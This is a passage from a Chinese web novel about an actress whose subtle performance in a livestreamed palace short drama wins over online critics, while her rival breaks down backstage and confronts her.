温萝手持玉玺,站在金銮殿上,群臣跪拜。 那一笑,像雪落进火里,无声,却彻底熄灭了一切。 回复4:@禁忌之恋观察者 我必须说句实话——我恨温意,可我又为他哭了。 他和唐珏,是真正在一起过的。 不是权谋,不是利用,是少年时就种下的情根。 可他们生在皇家与将门之间,注定不能相守。 温意选择了逃避,唐珏选择了执念。 他们爱得扭曲,爱得自私,可那份情感,是真的。 他们会在冷宫的夜里对饮,温意靠在唐珏肩上,轻声说:“若这江山能换你平安,我愿永生不见天日。”唐珏抚着他的发,回答:“若这皇位能换你留在我身边,我愿焚尽天下史书,抹去你我的名字。” 他们不是不爱,是太爱,才不敢光明正大。 可这份爱,建立在温萝的痛苦之上,建立在温家的血泪之上。 所以,我一边为他们落泪,一边又觉得活该。 他们该被温萝折磨,该被命运反噬。 因为爱,不该以伤害至亲为代价。 评论区沉默良久,终于有人回复: “她不是替身。 她是破局者。” 这段评论也被人直接顶上去,完全高赞的评论。 “温萝真的活得好清醒啊……她知道自己喜欢安亲王,却碍于礼法身份,从不追问与安亲王有关的任何事。” “嫁给唐珏后,仍旧活得逍遥自在,不卑不亢,不争不抢,却步步为营。” “知道温意和唐珏的丑事后,她虽然有过苍然无措,但还是很快镇定下来,一步一步设计他们入局,成了最后的赢家。” “这样的女人,实在是飒,实在是帅爆了!” 一条条热评如雪片般飞舞,而被提及最多的名字,是温栩栩。 “她没有靠妆容来黑化,仅凭的是‘眼技’。” “你细看她的眼神变化,从最初的隐忍,到后来的疏离,再到最后的冷冽,层层递进,像一把慢刀,一点点割开你的心。” 人们忽然发现,那个被嘲“花瓶”“靠脸吃饭”“演技空白”的女演员,竟在这一夜,以一场近乎完美的表演,撕碎了所有偏见。 网友的评价,不是夸张。 在这次的直播短剧中,温萝与唐珏的婚姻,表面琴瑟和鸣,实则暗流汹涌。唐珏爱的是温意,却因政治联姻娶了温萝。 其中有一场戏,温栩栩看到两人的纠缠,镜头拉近,温栩栩的面部表情几乎未变,只是那双眼睛,从最初的怔忪,到一丝极淡的苦笑,再到最后的平静,像一场无声的雪,落尽了所有情绪。 她转身,脚步轻缓,背影挺直如松。 可就在她转身的瞬间,镜头捕捉到她指尖微微收紧,指甲几乎嵌入掌心。 那一瞬,没有台词,没有配乐,只有风穿过回廊的呜咽。 可观众却仿佛听见了她心碎的声音。 “这一幕,我看了二十遍。” “她什么都没说,可我却觉得她把一辈子的委屈都演完了。” “温栩栩的演技,已经到了‘无声胜有声’的境界。” 而真正的高潮,是温萝的反击。 她开始布局,不动声色地挑拨朝中势力,利用安亲王对她的“旧情”作为掩护,暗中结交权臣,最终成功报仇。 那一场朝堂戏,堪称全剧巅峰。 她不是在报复,她是在告别。 “我看到这里,眼泪直接飙出来。” “她恨吗?恨的。可她更痛。她赢了天下,却输了亲情,输了自己。” “温栩栩演得太真实了,她不是在演角色,她就是温萝。” 而最令人动容的,是结局。 温萝,成了最后的赢家。 网络上,舆论彻底反转。 曾经那些黑温栩栩演技的帖子,如今已被清一色的夸赞淹没。 “说温栩栩演技不好的,麻烦长眼睛好吗?好好看看这叫没演技吗!” “我反反复复看了三遍才来评价,这剧情不能说多有内涵,但温栩栩的演技我是绝对认可的。” “她看唐珏的眼神,从依赖到疏离,从温柔到冰冷,每一场戏都有层次,有逻辑,有情感。” 更有专业影评人发文:“温栩栩在《替身》中的表演,堪称教科书级别。她没有依赖夸张的肢体动作或煽情的台词,而是通过最细微的眼神、呼吸、指尖的颤动,传递出角色复杂的内心世界。她让‘温萝’这个角色,从纸面走向了真实。” “她不是在演,她就是温萝。” “她用一双眼睛,演完了全程。” 两场直播,同一时间,悄然拉开帷幕。 一边是温栩栩主演的《替身》,一边是苏婉领衔的《天光》。 这档名综艺,打着“真实演技直播对决”的旗号,引爆全网。 节目组精心设计,邀请五对实力派与流量派结合的嘉宾,现场同步直播短剧演出,观众实时打分、弹幕互动、热度实时排名。没有剪辑,没有重拍,一切真实呈现。 演得好,万人追捧,演得差,瞬间被遗忘。 而今晚,注定是属于温栩栩的夜晚。 《替身》的直播间内,弹幕如暴雨倾盆,热搜词条“#温栩栩演技封神#”“#温萝清醒大女主#”“#替身爆火出圈#”接连登上榜首。 播放量以每分钟百万的速度飙升,平台服务器一度告急。评论区早已被刷屏: “温栩栩演的温萝,每一帧都是戏,眼神里有千言万语。” “我原本是冲着黎云笙来的,结果被温栩栩彻底圈粉!她太有张力了!” “说她没演技的现在闭嘴吧!她一个眼神,我就哭了。” 而在另一端,《天光》的直播间,虽然热度也不低,弹幕密密麻麻,可与《替身》相比,却像是月光下的烛火,微弱而勉强。 苏婉刚演完一场哭戏,从舞台上走下来,额角还带着细密的汗珠。 她来不及卸妆,便一把扯下耳麦,急切地抓住助理的手:“怎么样?热度高不高?有没有碾压温栩栩?” 第1500章 尴尬癌都犯了 她的声音带着颤抖,眼神里是藏不住的焦虑与期待。 助理低着头,手指在平板上滑动了几下,却迟迟不敢开口。 “说啊!”苏婉声音陡然拔高,“我问你话呢!” 助理终于抬起头,脸色发白,声音微弱:“苏婉姐……目前……《替身》的实时热度是第一,而且……已经破了平台纪录。咱们……排在第二。” “第二?”苏婉冷笑一声,眼神骤然锐利,“第二就是输!你懂不懂?在这个圈子里,第二就意味着没人记得你!意味着我苏婉,又被温栩栩压了一头!” 她猛地将手中的剧本摔在地上,纸张四散飞落。 “我演的是什么?是为爱赴死的女将军!是为国捐躯的忠魂!可观众记住的是什么?是温栩栩那个‘替身’!是她那双会说话的眼睛!是她那副勾人的脸!” 她喘着气,胸口剧烈起伏,指甲深深掐进掌心。 “她凭什么?她凭什么处处压我一头?” 助理小心翼翼地捡起剧本,低声劝道:“苏婉姐,您别激动……您演得真的很好,导演都说您情绪到位,观众反响也很热烈,只是……温栩栩那边……确实太炸了。” “太炸了?”苏婉冷笑,“她不就是长得漂亮吗?不就是会装清冷吗?她演的那是什么?一个靠男人上位的替身?这种角色也能火?” 她猛地抬头,眼神如刀:“可我呢?我演的是英雄,是烈女,是为家国牺牲的巾帼!我的戏份比她重,我的情感比她深,我的台词比她多!可为什么?为什么所有人只盯着她看?她就是一个助演!我才是主角!这简直太可笑了!” 她忽然停下,声音低了下来,带着一丝近乎绝望的喃喃:“难道……我真的比不过她?” 助理不敢接话。 苏婉站在原地,望着镜中的自己。 精致的妆容,完美的轮廓,眼角却已有了细不可察的疲惫。 她从十八线小配角一步步爬到二线旦,靠的是什么?是努力,是资源,是人脉,更是她对黎云笙的执念。 她曾以为,他们会在一起,会成为最令人艳羡的一对。 可自从温栩栩出现后,一切都变了。 她不是没努力过。 她为了《天光》这部戏,提前两个月进组排练,每天只睡四小时,反复打磨每一句台词,每一个眼神。她甚至为了那场跳崖戏,亲自上阵,险些摔断腿。 她比谁都明白,黎云笙这样的人,不会轻易动心。 他冷淡、理性、对感情极其克制。可一旦动心,便是深陷。 而温栩栩,正是一点点,把他从她身边夺走。 “我跟黎云笙是青梅竹马啊……”苏婉站在化妆镜前,声音轻得像风,“我们认识了二十年,一起长大,一起追梦。他答应过我,会陪我拿影后奖杯的……可现在呢?他满眼都是温栩栩,连看我一眼都嫌多余。” 她忽然转身,抓起桌上的水杯狠狠砸向地面! “砰——!” 玻璃碎裂声在空荡的化妆间回荡。 “我不能输!我绝对不能输给她!” 她盯着镜中的自己,眼神逐渐变得疯狂:“她温栩栩凭什么?她不过是个突然冒出来的‘替身’,连背景都没有,凭什么抢走我的资源?抢走我的人气?抢走……我的黎云笙?” 助理吓得后退一步:“苏婉姐,您别这样……节目才刚开始,还有机会的……” “机会?”苏婉冷笑,“你告诉我,什么机会?现在全网都在讨论《替身》,连热搜都是她的名字!我的《天光》呢?谁还记得?谁还在乎?” 她猛地拉开抽屉,翻出手机,点开微博。 热搜榜上—— #温栩栩演技炸裂# ——榜首 #温萝清醒大女主# ——第三 #替身短剧封神# ——第五 而她的《天光》,只在第十一位,且热度正在缓慢下滑。 “看到了吗?”她把手机摔在桌上,“这就是差距!” 她深吸一口气,强迫自己冷静下来,眼神却愈发阴鸷:“她温栩栩不是靠演技吗?好,那我就让她知道,什么叫真正的演技对决。” 她转身,从包里拿出一份剧本,狠狠拍在桌上:“通知导演,我要加戏。下一场,我要演一场‘疯魔’戏,为爱痴狂,为情癫狂,我要让观众记住,谁才是真正的演技派!” 助理犹豫:“可节目组说,不能随意加戏……” “那就让他们改规则!”苏婉冷笑,“我苏婉不是好欺负的。温栩栩能火,是因为她运气好,碰上了一个好剧本。可我有黎云笙,有资源,有粉丝,有热度!她有什么?她不过是个孤女,连个靠山都没有!” 她一步步走向镜子,指尖缓缓抚过自己的脸:“我不会输的……我不能输。” 苏婉,果然如她所言,带来了一场“疯魔”戏。 她饰演一个被爱人背叛的女画家,精神崩溃,手持画笔,在画布上疯狂涂抹,嘴里喃喃自语:“你说过只爱我一个……你说过要陪我到老……为什么?为什么你要看她?为什么?!” 她眼神涣散,声音嘶哑,甚至在直播中突然砸碎画架,扑向镜头,仿佛要冲破屏幕。 弹幕瞬间炸开: “苏婉疯了!她演得太投入了!” “这情绪太真实了,我鸡皮疙瘩都起来了!” “但……怎么感觉她像是在演自己?” 直播间刚刚结束,余温未散。 网络世界早已炸开了锅。 热搜榜上,直播的讨论热度持续飙升,而这一次,焦点不再仅仅是温栩栩的封神,还有苏婉那场“疯魔戏”引发的轩然大波。 评论区如潮水般翻涌,无数网友毫不留情地写下自己的观感: “苏婉这场戏太过了,情绪完全失控,像是在发泄私愤,根本不是演戏。” “她演的不是角色,是她自己吧?看得我尴尬癌都犯了。” “对比温栩栩的,同样是崩溃,温栩栩是内敛的痛,是压抑的恨,一个眼神就能让你心碎,而苏婉呢?砸东西、尖叫、扑镜头……这是演戏还是行为艺术?” 第1501章 输在了你这张脸上 一条高赞评论写道:“温栩栩的疯狂是美的。她演温萝时,哪怕在最绝望的时刻,也保持着那份优雅与克制。她的眼神像冰封的湖面,裂开一道缝,你却能看见底下汹涌的岩浆。可苏婉的疯,是丑的。她放大了情绪,却丢了美感,像一场失控的火灾,烧得狼狈不堪。” 有人附和:“对!温栩栩的戏是‘收’,苏婉的戏是‘放’。可演戏不是越大声就越有感染力。真正的力量,藏在沉默里。” “温栩栩演的是灵魂,苏婉演的是表情包。” 更有人直接开嘲:“以前还觉得苏婉是实力派,现在一看,全是靠资源和人设撑着。真刀真枪对上,立马原形毕露。她是不是以为演得越激烈就越‘有演技’?可惜,观众不是傻子。” 这些话,像一根根细密的针,扎进苏婉的眼里,刺进她的心脏。 她坐在空荡的化妆间里,手机屏幕的光映在她苍白的脸上。 她一条一条翻着评论,指尖颤抖,呼吸越来越急促。 她本想寻找一丝安慰,哪怕一句“苏婉演得不错”也好,可满屏都是对温栩栩的赞美,对她则是毫不留情的批判。 “我不信……我不信我输给她!”她咬牙,声音从齿缝中挤出。 突然,她猛地站起,一把扫过桌上的化妆品、剧本、水杯。 “噼里啪啦!” 玻璃碎裂,纸张飞散,口红滚落一地,像血滴。 她站在狼藉之中,胸口剧烈起伏,眼神近乎疯狂。 她死死盯着手机屏幕,仿佛那上面写着她的死刑判决书。 “她凭什么?她温栩栩凭什么?她不过是个突然冒出来的替身,连背景都没有,凭什么处处压我?凭什么连演技都要碾压我?” 她嘶吼着,声音在空荡的房间里回荡,却无人回应。 就在这时门被轻轻推开。 温栩栩走了进来。 她穿着一件素色长裙,发丝微乱,脸上带着淡淡的疲惫,却依旧平静如水。、、 她看着满地狼藉,又看了看苏婉那张因愤怒而扭曲的脸,轻轻叹了口气。 “苏婉老师,”她声音清冷,“你看着好像很激动。是无法接受……自己演技比不过我吗?” 空气瞬间凝固。 苏婉猛地抬头,眼神如刀,死死盯着温栩栩。 她像一头被逼到绝境的困兽,随时准备扑上去撕碎眼前这个人。 “你来干什么?”她声音沙哑,“来看我笑话?来炫耀你的胜利?” 温栩栩轻轻关上门,缓步走进来,目光扫过地上的碎片,淡淡道:“你这么想的话,我似乎也没办法呢” 她顿了顿,语气依旧平静:“我知道你很难受。但演技这东西,不是靠愤怒就能提升的。它需要沉淀,需要理解,需要,克制。” “克制?”苏婉冷笑,声音里带着讥讽,“你倒是克制!你演温萝时,连哭都像在演诗!可观众就吃这一套,是不是?清冷、隐忍、优雅,像朵不沾尘的白莲,谁都想捧在手心。” 她一步步逼近温栩栩,眼神灼灼:“可你别忘了,戏是演给观众看的!不是演给自己看的!你那套‘内敛’,说白了就是没情绪!是你不敢释放!” 温栩栩静静看着她,没有反驳。 她只是轻轻弯腰,捡起一本被摔歪的剧本,拂去灰尘,低声道:“也许吧。但至少,我的观众,看懂了。” 这句话,像一把刀,精准地刺进苏婉的心脏。 她猛地后退一步,脸色惨白。 “你……你根本不懂!”她声音颤抖,“你不懂我为了今天付出了多少!我从小和黎云笙一起长大,他说过要陪我拿奖的……可现在呢?他看你的眼神,像在看光。而我,连影子都不是。” 温栩栩终于抬眸,看着她,眼神里竟有一丝怜悯。 “所以,你是把演戏,当成了争夺爱的工具?”她轻声问。 苏婉一怔。 “你演那场‘疯魔戏’,不是为了角色,是为了让黎云笙看见你,是不是?你希望他心疼你,希望他回头看你一眼,希望他觉得‘苏婉为我疯了’。” 温栩栩的声音很轻,却字字如锤:“可你错了。真正的戏,不是演给某个人看的。它是演给所有人,也演给自己看的。” “闭嘴!”苏婉怒吼,“你有什么资格教训我?你不过是个孤女,连个靠山都没有,凭什么站在这里对我说教?” 温栩栩却笑了,笑得清淡而疏离:“我凭什么?凭我演的色够真实。凭我每一场戏,都用心。凭我……从不把演戏,当成争夺爱情的筹码。” 她咬牙,指尖狠狠划过屏幕,仿佛要将那些字句碾碎。 “我一样热爱演戏……我一样!”她低声嘶吼,声音在房间里回荡。 她一步步逼近,高跟鞋踩在玻璃上,发出刺耳的声响:“我为了一场戏,可以不眠不休,可以受伤流血,可以把自己逼到崩溃!你凭什么说我不懂演戏?你凭什么用你那副高高在上的姿态来评判我?” 温栩栩静静看着她,没有退后一步。 “观众喜欢你,不是因为你演得好,”苏婉咬牙,声音颤抖却字字如钉,“是因为你这张脸!你这张脸太漂亮了,太有辨识度了,太符合‘清冷美人’的人设了!观众看你的眼神,就像在看一幅画,看一场梦!可我呢?我演得再好,他们也只会说‘苏婉用力过猛’‘苏婉太疯’!” 她猛地抬手指向温栩栩的脸,指尖都在发抖: “分明是你这张脸,观众喜欢的是你这张脸!我是输在了你这张脸上!” 声音落下,房间陷入死寂。 温栩栩听着,沉默片刻,忽然轻笑了一声。 那笑声很轻,却像一把冰锥,刺进苏婉的耳膜。 “原来,”温栩栩缓缓开口,声音依旧平静,却带着一丝难以察觉的锐利,“你心里也清楚,你输在什么地方啊。” 她微微歪头,眼神清淡如水:“我还以为,你一直以为自己输在运气,输在资源,输在黎云笙没看你一眼。可现在看来,你至少明白了一点,你输的,不是演技,不是努力,而是……你始终没搞清楚,观众到底在看什么。” 第1502章 丑陋的挣扎 她顿了顿,语气依旧不疾不徐:“观众不是傻子。他们能分辨出什么是真实的情感,什么是刻意的表演。你那场‘疯魔戏’,情绪是足的,可它不美,因为它不真实。你不是在演角色,你是在演‘你认为观众想看的疯女人’。” “而我,”温栩栩轻轻抚过自己的脸颊,眼神平静,“我没有靠脸吃饭。我靠的是每一次呼吸的节奏,每一个眼神的停顿,每一场戏的沉淀。你说观众喜欢我的脸?好,那我问你,如果我只是个花瓶,为什么《替身》里那场冷宫戏,能让那么多人哭到失声?如果我只是靠脸,为什么《烬余》里那句‘我从未恨过你,我只是失望’,能被观众反复截图、反复品味?” 她看着苏婉,眼神里没有嘲讽,只有一种近乎悲悯的清醒:“你输的,从来不是脸。你输的是,你太想赢,太想被看见,太想证明自己值得被爱。可演戏,不是为了证明,而是为了表达。” 苏婉死死盯着她,指甲几乎嵌进掌心。 “你少在这儿装清高!”她怒吼,“你不过是个幸运儿!你生来就有这张脸,有这份天赋,你当然可以说得轻飘飘!可我呢?我必须比别人努力十倍,才能站在这里!你凭什么用你的标准来审判我?” 温栩栩轻轻摇头:“我不是在审判你。我是在告诉你真相。你心里其实知道,你输在哪里。只是你不愿意承认。” 她转身,手已经搭上门把,却在离开前,最后说了一句: “原来你心里也清楚你输在什么地方啊,我还以为你不知道呢。” 这句话,像一把钝刀,缓缓割开苏婉最后的防线。 她怔在原地,眼底泛起血丝。 她知道温栩栩没说完的话。 你丑吗?不。 你演技差吗?也不。 可你输了,因为你不够美,不是容貌,而是灵魂的美。 温栩栩的“美”,是克制,是隐忍,是痛而不语,是恨而不动声色。 而她的“美”,是张扬,是激烈,是爱恨分明,是歇斯底里。 可在这个时代,观众更愿意为“克制的美”买单。 因为那才像艺术。 “你……”苏婉咬牙,声音几乎是从喉咙里挤出来的,“你不要太嚣张!” 温栩栩回头,眉梢微挑,眼神里终于有了一丝冷意: “一直嚣张来挑衅的,难道不是你吗?” 她声音不高,却字字如雷:“从第一场直播开始,你就盯着我,想压我一头。你问助理热度有没有碾压我,你加戏想抢风头,你演疯魔戏是为了让黎云笙心疼你……苏婉,你什么时候,真正为戏本身而演过?” 她轻轻拉开门,语气淡漠:“如果不是你,我大概不会主动来跟你交流。你要怪,就怪你自己。” 门缓缓合上。 “砰——” 一声轻响,却像重锤砸在苏婉心上。 她站在原地,久久未动。 化妆镜中,映出她狼狈的身影,妆容晕染,发丝凌乱,眼神空洞而愤怒。 她缓缓低头,看见地上那支被踩碎的口红,像一道未愈的伤疤。 她忽然笑了,笑声里带着泪。 “好……很好……温栩栩,你赢了。” 她缓缓蹲下,手指轻轻抚过那片碎裂的玻璃,指尖被划破,血珠渗出,她却感觉不到痛。 “你说我输在不够美……可我偏要让你看看。” “丑陋的挣扎,也能撕碎你的优雅。” 她缓缓站起,眼神从绝望,到怨恨,再到最后的冰冷。 她拿起手机,拨通一个号码,声音低沉而坚定: “喂,是我。帮我联系《破晓》的导演……我要演那个疯批女反派。对,就是那个为爱成魔、亲手毁掉一切的角色……” “我要让所有人知道疯,也可以是一种美。” …… 在短剧领域,《替身》如同一颗璀璨的星辰,以其扣人心弦的剧情和演员精湛的演技,吸引了无数观众的目光。 而温栩栩在剧中饰演的温萝一角,更是成为了网友们热议的焦点。 网友们对温栩栩的表演赞不绝口,纷纷在社交平台上分享自己的观后感,字里行间满是对她演技的肯定与欣赏。 有网友动情地表示:“说温栩栩没有演技的……去看看《替身》吧求求了,我看到结局温萝去冷宫最后一次见温意时,她看到温意断手断脚像是个废人时其实眼尾是红的,但她还是做出那副得意优雅的姿态,她不只是在伤害温意更是在伤害她自己,温萝这人重感情,即便温意做下那些恶事,可现在活着的唯一的血亲也只有这个一直待她好的温意,她恨也悲,所以几次眼睛望向别处,调整好呼吸后才再次开始若无其事的说话,我看到这里真的能代入自己,那时眼泪都流下来了,我感觉到温萝并不觉得报复温意得到了快乐,我透过屏幕听到她的心在哭泣。” 这段评价精准地捕捉到了温栩栩表演中的细腻之处。 在冷宫这场戏中,温萝的内心世界是极其复杂的,她既有着对温意曾经恶行的怨恨,又有着对这份血缘亲情的不舍与悲痛。 温栩栩通过眼尾泛红这一细微的表情,将温萝内心的悲痛与无奈展现得淋漓尽致,让观众能够深切地感受到她那深藏于心底的情感。 而她随后调整呼吸,强装出得意优雅的姿态,更是将角色内心的矛盾与挣扎刻画得入木三分,让观众仿佛置身于剧情之中,与温萝一同经历着这份痛苦与纠结,不禁潸然泪下。 另一位网友则对温栩栩的表演有着更深层次的解读。 “温栩栩的温萝让我心疼,她对温意问了一句‘为何也不肯放过他’当时我看到这里这个‘他’我以为是字幕打错了字把‘她’打成了‘他’,而且这里的温栩栩声音太轻了,像是在自我呢喃好像根本就不需要温意回答,只是在问自己,其实那时候她心里是有答案的,问了那么多无非是想发泄,忍到最后的发泄。 一直到结尾我才知道这个‘他’是安亲王,她和安亲王初遇时两人恐怕就情根深种了,安亲王看她的眼神是带着几分爱意的,就像古代话本写的那样,一见倾心。但碍于彼此身份他们都不能为自己的婚事做主。” 第1503章 意料之外的惊艳 网友敏锐地察觉到了温栩栩在台词处理上的精妙之处,那轻轻的、仿佛自我呢喃的声音,将温萝内心的痛苦、迷茫与不甘展现得恰到好处。 而关于“他”的解读,更是让观众对剧情有了更深入的理解,也让温萝这个角色的形象更加立体和丰满。 网友们通过这个细节,感受到了温栩栩对角色内心世界的精准把握,她将温萝那隐藏在深处的情感,通过细微的表情和声音变化,缓缓地传递给了观众,让大家能够深入地走进角色的内心,体会到她那复杂而又真挚的情感。 网友们还注意到了剧中的一些关键细节,这些细节不仅丰富了剧情,也让温栩栩的表演更加令人信服。 “不知道有没有人注意到一点细节,前面温意和唐珏提到过安亲王一开始是无心帝位的但不知为何到后面却有了做储君的心思想要争夺帝位。我可以猜想一下安亲王为什么突然改变想法?我唯一能想到的解释是安亲王在遇到温萝后才有了这心思,因为他知道温萝作为镇国将军的女儿只可能嫁给新帝,为此他才想争一争。” 有网友根据剧情的发展,进行了合理的推测,而这样的推测也得到了许多网友的认同。 他们认为,正是温萝的出现,让安亲王的人生轨迹发生了改变,他为了能够与心爱之人相守,才毅然踏上了争夺帝位的道路。 而“温萝接幼帝回宫后问起过安亲王的事,幼帝说听她娘亲提起父亲本是不爱花的,后来在后院种满桃花,温萝听到这里时明显眼神闪烁。温萝和安亲王一样本也不爱花的,但自那日后她就独爱桃花,只因遇见安亲王那日漫天桃花。” 这一细节更是成为了网友们讨论的热点。 温栩栩通过眼神闪烁这一细微的表情,将温萝听到关于安亲王消息时内心的波澜展现得淋漓尽致,那是一种对过往美好回忆的追忆,也是一种对未知命运的担忧与无奈。 而温萝此后独爱桃花的情节设定,更是将她与安亲王之间那份刻骨铭心的爱情以一种含蓄而又深刻的方式呈现出来,让观众感受到了那份爱情的力量,也更加深刻地理解了温萝这个角色的内心世界。 “所以安亲王是喜欢温萝的,可以推论安亲王为了温萝想夺皇位最终被唐珏温意盯上设计谋害。这个真的虐,温栩栩的温萝也真的让我看到她的演技,好像她就是那个温萝,只能说真绝。” 网友们对剧情的悲剧走向感到惋惜,但同时也对温栩栩的演技给予了高度的赞扬。 在他们看来,温栩栩将温萝的爱恨情仇、无奈与挣扎演绎得如此真实,仿佛她就是那个生活在古代宫廷中的温萝,让观众能够深切地感受到角色的喜怒哀乐。 她的表演没有丝毫的生硬与做作,每一个眼神、每一个动作、每一句台词都恰到好处,将角色的情感与性格完美地展现了出来,让观众对温萝这个角色产生了强烈的共鸣。 温栩栩将温萝的成长轨迹拆解成细腻的层次,每一阶段的转变都自然得如同呼吸。 前期的温萝,是被捧在掌心的娇小姐,眼神里满是未经世事的清澈与灵动,初见安亲王时,漫天桃花下她指尖轻颤,眼波流转间藏着少女情窦初开的羞怯,连呼吸都带着小心翼翼的雀跃,仿佛下一秒就会化作风中的花瓣。 而当命运的齿轮骤然转向,亲人的背叛、宫廷的倾轧接踵而至,她眼底的天真渐渐被淬炼成坚韧。 面对温意的恶行,她不再是一味隐忍的弱者,眼神从最初的震惊、痛苦,慢慢沉淀为带着锋芒的冷静,与唐珏周旋时,那抹若有若无的疏离与算计,藏在温婉的笑容之下,让观众既心疼她的清醒,又惊叹她的成长。 尤其是冷宫见温意的那场戏,温栩栩用“眼尾泛红却强装优雅”的细节,将温萝“恨其恶、怜其悲”的矛盾心理展现得淋漓尽致。 她不是单纯的复仇者,而是被命运推着向前的可怜人,那份“伤害对方更是在伤害自己”的挣扎,透过她颤抖的指尖和强撑的呼吸,直抵观众内心最柔软的地方。 有网友分析道:“她调整呼吸的瞬间,仿佛在给破碎的自己重新上发条,那种‘不得不坚强’的无奈,比任何哭喊都更戳人。” 温栩栩的演技,藏在无数个不被注意的细节里。 比如得知安亲王死讯时,她没有放声痛哭,只是指尖死死攥着衣角,指节泛白,眼泪在眼眶里打转却始终没有落下,那种“强忍悲痛”的克制,比嚎啕大哭更有力量,再如她独爱桃花的设定,从初见时的惊艳,到后期每每看到桃花时眼底一闪而过的追忆与落寞,每一个眼神、每一次呼吸都精准对应着她与安亲王的情感联结。 这种“于细微处见深情”的表演,让温萝不再是剧本里的符号,而是活生生的人,也让那些曾质疑她演技的言论,瞬间沦为跳梁小丑。 当角色的灵魂在演员的诠释下鲜活起来,任何质疑都显得苍白无力。 如果说温栩栩的温萝是“意料之外的惊艳”,那秦珂饰演的唐珏,则是“情理之中的惊喜”。 作为长期被贴上“没演技”标签的流量明星,秦珂在这部短剧里的表现,彻底颠覆了观众的认知。 唐珏这个角色,本就是极具挑战性的“矛盾体”,他有着对权力的渴望,为达目的不择手段,甚至对温萝做出伤害之举,但同时,他又有着被家族束缚的无奈,面对爱情时也有过真心流露的瞬间。 秦珂没有将这个角色简单处理成“脸谱化渣男”,而是用扎实的演技挖掘出角色的复杂内核。 前期争夺权力时,他眼神里的野心与狠厉毫不掩饰,举手投足间带着上位者的傲慢,但在面对温萝时,那份伪装的冷漠又会偶尔松动,比如温萝受伤时,他指尖下意识的颤抖,或是眼神里一闪而过的担忧,都让这个“渣男”有了人性的温度。 第1504章 不公 有网友评价:“他演的渣男,不是单纯的坏,而是‘有理由的坏’,你会恨他的行为,却又忍不住心疼他的处境,这种复杂感太难演了,秦珂居然拿捏得这么准!” 秦珂的表演,不仅让路人观众震惊不已,更让粉丝们“破防又破圈”。 粉丝们在秦珂微博下“又哭又骂”,“嗷嗷”的哭声里满是惊喜:“以前总担心他演不好,现在看到他能把唐珏的复杂演得这么好,真的太欣慰了!”而“边骂边夸”的独特反应,更成了这场口碑逆袭的标志性画面。 骂的是角色的“渣”,夸的是演员的进步,这种“爱恨交织”的情绪,恰恰说明秦珂的表演已经让观众完全代入了角色。 更意外的是,这场口碑狂欢还为秦珂圈了不少新粉,有路人直言:“以前只知道他是流量,没想到演技居然这么好,这波直接路转粉!” 温栩栩与秦珂在《替身》里的惊艳表现,像一颗巨石投入平静的湖面,激起了流量圈的“演技内卷”浪潮,而秦珂更是从“被吐槽的靶子”,变成了这场风暴的“引领者”。 曾经的秦珂,是流量明星“没演技”的“排头兵”,但这一次的逆袭,让不少同类型的流量明星感受到了压力。 以前只要提到“流量明星演技差”,秦珂的名字总会第一个被提起,成为众人吐槽的焦点。 但现在,当秦珂都能凭借实力挽回口碑、圈粉无数时,其他流量明星再也无法以“新人”“流量”为借口敷衍演技。 圈内已经有不少人开始内涵那些依旧“瞪眼式表演”的同行:“秦珂都学会演戏了,你们怎么还只会瞪眼呢?”这句话看似调侃,实则是对流量圈演技现状的尖锐批评,也让不少流量明星暗自心惊,如果再不提升演技,就真的会被时代和观众抛弃。 这场由《替身》引发的风波,已经悄然改变了流量明星的“生存策略”。 不少流量明星开始私下联系表演老师,偷偷学习表演技巧,甚至有人开始推掉一些纯靠颜值的“快餐剧”,转而寻找更有挑战性的角色。 有业内人士透露:“最近找我咨询表演课程的流量明星明显多了起来,他们都想学秦珂,通过作品证明自己,而不是一直被贴上‘没演技’的标签。” 这种“暗中努力”的现象,正是“演技内卷”最直接的体现,当观众对演技的要求越来越高,流量明星们终于意识到,只有不断提升自己的专业能力,才能在竞争激烈的娱乐圈站稳脚跟。 当《替身》的热度席卷全网,当温栩栩饰演的温萝成为观众心中难以磨灭的经典角色,一场关于“演技与偏见”的舆论风暴也随之而来。 而在这场风暴中,温栩栩的表演老师林菲菲挺身而出,以掷地有声的发言为爱徒正名,不仅揭开了温栩栩背后十年磨一剑的艰辛过往,更让无数网友从最初的质疑者,逐渐转变为坚定的支持者。 林菲菲的发声,没有刻意煽情,却字字句句饱含着对学生的疼惜与对行业乱象的愤怒。 她先是对《替身》这部短剧给予了高度评价,称其“剧本扎实、角色立体,为演员提供了绝佳的发挥空间”,随后便将话题引向温栩栩:“温栩栩在剧中的表现,完全符合我对她的期待,她有灵气,更有一份难能可贵的执着,这份灵气不是天赋的偶然,而是她用无数次舞台打磨出来的必然。” 为了让黑粉看清真相,林菲菲直接贴出了温栩栩在学院时期参演的一系列舞台剧角色,从《雷雨》中内敛克制的四凤,到《茶馆》里风情万种的康顺子,再到《暗恋桃花源》中跨越时空的云之凡,每一份演出海报、每一段幕后花絮,都是温栩栩演技成长的见证。 “我常跟她说,想要练好演技,就要多上台磨练,舞台才是演员最好的试金石。”林菲菲回忆道,温栩栩总将这句话记在心里,哪怕参演的舞台剧薪酬微薄,哪怕要为了角色反复修改台词、揣摩情绪,她也从未有过半句怨言。音乐剧舞台上,她曾为了一个高难度的唱段连续练习到嗓子沙哑,大型舞台剧中,她甘愿从配角做起,哪怕只有几句台词,也会反复琢磨角色的心理逻辑,甚至为了提升台词功底,她主动接下广播剧的配音工作,从清晨到深夜对着麦克风调整语气、节奏,只为让每一个发音都精准传递角色的情感。 让林菲菲愤怒的,是温栩栩曾经遭遇的不公。 她透露,在学院时期,曾有几位老师因私心作祟,故意将原本属于温栩栩的优质资源分给了其他学生。“那时候她很难过,但从来没有放弃过表演,我看着她一边在后台默默流泪,一边又拿起剧本继续练习,那份对表演的热爱与执着,让我这个做老师的都自愧不如。”即便遭遇这样的不公,温栩栩也从未动摇过对表演的信念,她依然活跃在各种舞台上,伴舞、群演、龙套角色,只要能站在聚光灯下,她都会全力以赴,音乐剧、舞台剧、广播剧,她像一块海绵一样,不断吸收着不同领域的表演养分,只为让自己离“好演员”的目标更近一步。 “我为什么这么喜欢温栩栩?为什么频频为她出头?”林菲菲反问,“就因为她这些年活得实在太辛苦了。她漂亮、优秀、有天赋,却从不依赖这些外在的条件,反而比谁都努力,比谁都聪明,更有着明确的野心,她想成为一个真正靠演技被认可的演员。而这样的人,只需要一个契机,就能一步一步往上爬,她的火,从来不是巧合,而是必然!” 